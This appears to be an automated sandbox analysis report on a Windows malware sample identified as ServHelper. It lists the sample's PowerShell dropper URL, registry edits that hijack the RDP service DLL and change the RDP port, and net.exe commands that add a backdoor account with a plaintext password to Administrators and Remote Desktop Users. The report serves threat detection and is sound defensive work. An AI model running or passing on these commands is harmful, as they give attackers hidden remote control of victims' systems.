5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

Analysis

max time kernel
147s
max time network
134s
platform
windows10_x64
resource
win10v20210408
submitted
29/09/2021, 15:40

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General

Target

74f029d2fd587f9e25091f7832bea2f2.exe
Size

5.7MB
MD5

74f029d2fd587f9e25091f7832bea2f2
SHA1

76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c
SHA256

5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a
SHA512

0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Score

10^/10

persistence suricata upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
9	1256	powershell.exe
11	1256	powershell.exe
12	1256	powershell.exe
13	1256	powershell.exe
15	1256	powershell.exe
17	1256	powershell.exe
19	1256	powershell.exe
21	1256	powershell.exe
23	1256	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab4d-361.dat	upx
behavioral2/files/0x000200000001ab52-362.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
4060	Process not Found
4060	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jmdnpxl1.h1n.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF6EE.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_r0shovbz.p0n.psm1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF74C.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF76D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF78D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIF79D.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3876	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	13	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
3180	powershell.exe
3180	powershell.exe
3180	powershell.exe
3612	powershell.exe
3612	powershell.exe
3612	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeIncreaseQuotaPrivilege	3180	powershell.exe
Token: SeSecurityPrivilege	3180	powershell.exe
Token: SeTakeOwnershipPrivilege	3180	powershell.exe
Token: SeLoadDriverPrivilege	3180	powershell.exe
Token: SeSystemProfilePrivilege	3180	powershell.exe
Token: SeSystemtimePrivilege	3180	powershell.exe
Token: SeProfSingleProcessPrivilege	3180	powershell.exe
Token: SeIncBasePriorityPrivilege	3180	powershell.exe
Token: SeCreatePagefilePrivilege	3180	powershell.exe
Token: SeBackupPrivilege	3180	powershell.exe
Token: SeRestorePrivilege	3180	powershell.exe
Token: SeShutdownPrivilege	3180	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe
Token: SeSystemEnvironmentPrivilege	3180	powershell.exe
Token: SeRemoteShutdownPrivilege	3180	powershell.exe
Token: SeUndockPrivilege	3180	powershell.exe
Token: SeManageVolumePrivilege	3180	powershell.exe
Token: 33	3180	powershell.exe
Token: 34	3180	powershell.exe
Token: 35	3180	powershell.exe
Token: 36	3180	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeIncreaseQuotaPrivilege	3612	powershell.exe
Token: SeSecurityPrivilege	3612	powershell.exe
Token: SeTakeOwnershipPrivilege	3612	powershell.exe
Token: SeLoadDriverPrivilege	3612	powershell.exe
Token: SeSystemProfilePrivilege	3612	powershell.exe
Token: SeSystemtimePrivilege	3612	powershell.exe
Token: SeProfSingleProcessPrivilege	3612	powershell.exe
Token: SeIncBasePriorityPrivilege	3612	powershell.exe
Token: SeCreatePagefilePrivilege	3612	powershell.exe
Token: SeBackupPrivilege	3612	powershell.exe
Token: SeRestorePrivilege	3612	powershell.exe
Token: SeShutdownPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeSystemEnvironmentPrivilege	3612	powershell.exe
Token: SeRemoteShutdownPrivilege	3612	powershell.exe
Token: SeUndockPrivilege	3612	powershell.exe
Token: SeManageVolumePrivilege	3612	powershell.exe
Token: 33	3612	powershell.exe
Token: 34	3612	powershell.exe
Token: 35	3612	powershell.exe
Token: 36	3612	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeIncreaseQuotaPrivilege	1128	powershell.exe
Token: SeSecurityPrivilege	1128	powershell.exe
Token: SeTakeOwnershipPrivilege	1128	powershell.exe
Token: SeLoadDriverPrivilege	1128	powershell.exe
Token: SeSystemProfilePrivilege	1128	powershell.exe
Token: SeSystemtimePrivilege	1128	powershell.exe
Token: SeProfSingleProcessPrivilege	1128	powershell.exe
Token: SeIncBasePriorityPrivilege	1128	powershell.exe
Token: SeCreatePagefilePrivilege	1128	powershell.exe
Token: SeBackupPrivilege	1128	powershell.exe
Token: SeRestorePrivilege	1128	powershell.exe
Token: SeShutdownPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeSystemEnvironmentPrivilege	1128	powershell.exe
Token: SeRemoteShutdownPrivilege	1128	powershell.exe
Token: SeUndockPrivilege	1128	powershell.exe
Token: SeManageVolumePrivilege	1128	powershell.exe
Token: 33	1128	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 2336	1404	74f029d2fd587f9e25091f7832bea2f2.exe	68
PID 1404 wrote to memory of 2336	1404	74f029d2fd587f9e25091f7832bea2f2.exe	68
PID 2336 wrote to memory of 1444	2336	powershell.exe	70
PID 2336 wrote to memory of 1444	2336	powershell.exe	70
PID 1444 wrote to memory of 4092	1444	csc.exe	71
PID 1444 wrote to memory of 4092	1444	csc.exe	71
PID 2336 wrote to memory of 3180	2336	powershell.exe	72
PID 2336 wrote to memory of 3180	2336	powershell.exe	72
PID 2336 wrote to memory of 3612	2336	powershell.exe	75
PID 2336 wrote to memory of 3612	2336	powershell.exe	75
PID 2336 wrote to memory of 1128	2336	powershell.exe	77
PID 2336 wrote to memory of 1128	2336	powershell.exe	77
PID 2336 wrote to memory of 2764	2336	powershell.exe	81
PID 2336 wrote to memory of 2764	2336	powershell.exe	81
PID 2336 wrote to memory of 3876	2336	powershell.exe	82
PID 2336 wrote to memory of 3876	2336	powershell.exe	82
PID 2336 wrote to memory of 4084	2336	powershell.exe	83
PID 2336 wrote to memory of 4084	2336	powershell.exe	83
PID 2336 wrote to memory of 3620	2336	powershell.exe	84
PID 2336 wrote to memory of 3620	2336	powershell.exe	84
PID 3620 wrote to memory of 3556	3620	net.exe	85
PID 3620 wrote to memory of 3556	3620	net.exe	85
PID 2336 wrote to memory of 3596	2336	powershell.exe	86
PID 2336 wrote to memory of 3596	2336	powershell.exe	86
PID 3596 wrote to memory of 1228	3596	cmd.exe	88
PID 3596 wrote to memory of 1228	3596	cmd.exe	88
PID 1228 wrote to memory of 3604	1228	cmd.exe	89
PID 1228 wrote to memory of 3604	1228	cmd.exe	89
PID 3604 wrote to memory of 3980	3604	net.exe	90
PID 3604 wrote to memory of 3980	3604	net.exe	90
PID 2336 wrote to memory of 3016	2336	powershell.exe	91
PID 2336 wrote to memory of 3016	2336	powershell.exe	91
PID 3016 wrote to memory of 3296	3016	cmd.exe	92
PID 3016 wrote to memory of 3296	3016	cmd.exe	92
PID 3296 wrote to memory of 4084	3296	cmd.exe	93
PID 3296 wrote to memory of 4084	3296	cmd.exe	93
PID 4084 wrote to memory of 1292	4084	net.exe	94
PID 4084 wrote to memory of 1292	4084	net.exe	94
PID 1264 wrote to memory of 796	1264	cmd.exe	99
PID 1264 wrote to memory of 796	1264	cmd.exe	99
PID 796 wrote to memory of 804	796	net.exe	100
PID 796 wrote to memory of 804	796	net.exe	100
PID 4036 wrote to memory of 3180	4036	cmd.exe	103
PID 4036 wrote to memory of 3180	4036	cmd.exe	103
PID 3180 wrote to memory of 1248	3180	net.exe	104
PID 3180 wrote to memory of 1248	3180	net.exe	104
PID 3252 wrote to memory of 3556	3252	cmd.exe	107
PID 3252 wrote to memory of 3556	3252	cmd.exe	107
PID 3556 wrote to memory of 1792	3556	net.exe	108
PID 3556 wrote to memory of 1792	3556	net.exe	108
PID 3604 wrote to memory of 3612	3604	cmd.exe	111
PID 3604 wrote to memory of 3612	3604	cmd.exe	111
PID 3612 wrote to memory of 920	3612	net.exe	112
PID 3612 wrote to memory of 920	3612	net.exe	112
PID 796 wrote to memory of 1792	796	cmd.exe	115
PID 796 wrote to memory of 1792	796	cmd.exe	115
PID 1792 wrote to memory of 3344	1792	net.exe	116
PID 1792 wrote to memory of 3344	1792	net.exe	116
PID 2356 wrote to memory of 920	2356	cmd.exe	119
PID 2356 wrote to memory of 920	2356	cmd.exe	119
PID 920 wrote to memory of 1384	920	net.exe	120
PID 920 wrote to memory of 1384	920	net.exe	120
PID 3252 wrote to memory of 3924	3252	cmd.exe	123
PID 3252 wrote to memory of 3924	3252	cmd.exe	123

C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
"C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\haftagsk\haftagsk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FC5.tmp" "c:\Users\Admin\AppData\Local\Temp\haftagsk\CSC7EDA78EA8A094F018439CB9964965DA0.TMP"
      4⤵
      PID:4092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1128
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2764
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:3876
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4084
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3620
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3556
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3596
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1228
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3604
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3980
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3296
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4084
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1292
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4736
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4752

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:804

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc EdrwL8Uu /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\system32\net.exe
  net.exe user wgautilacc EdrwL8Uu /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc EdrwL8Uu /add
    3⤵
    PID:1248

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3556
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1792

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3604
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:920

C:\Windows\System32\cmd.exe
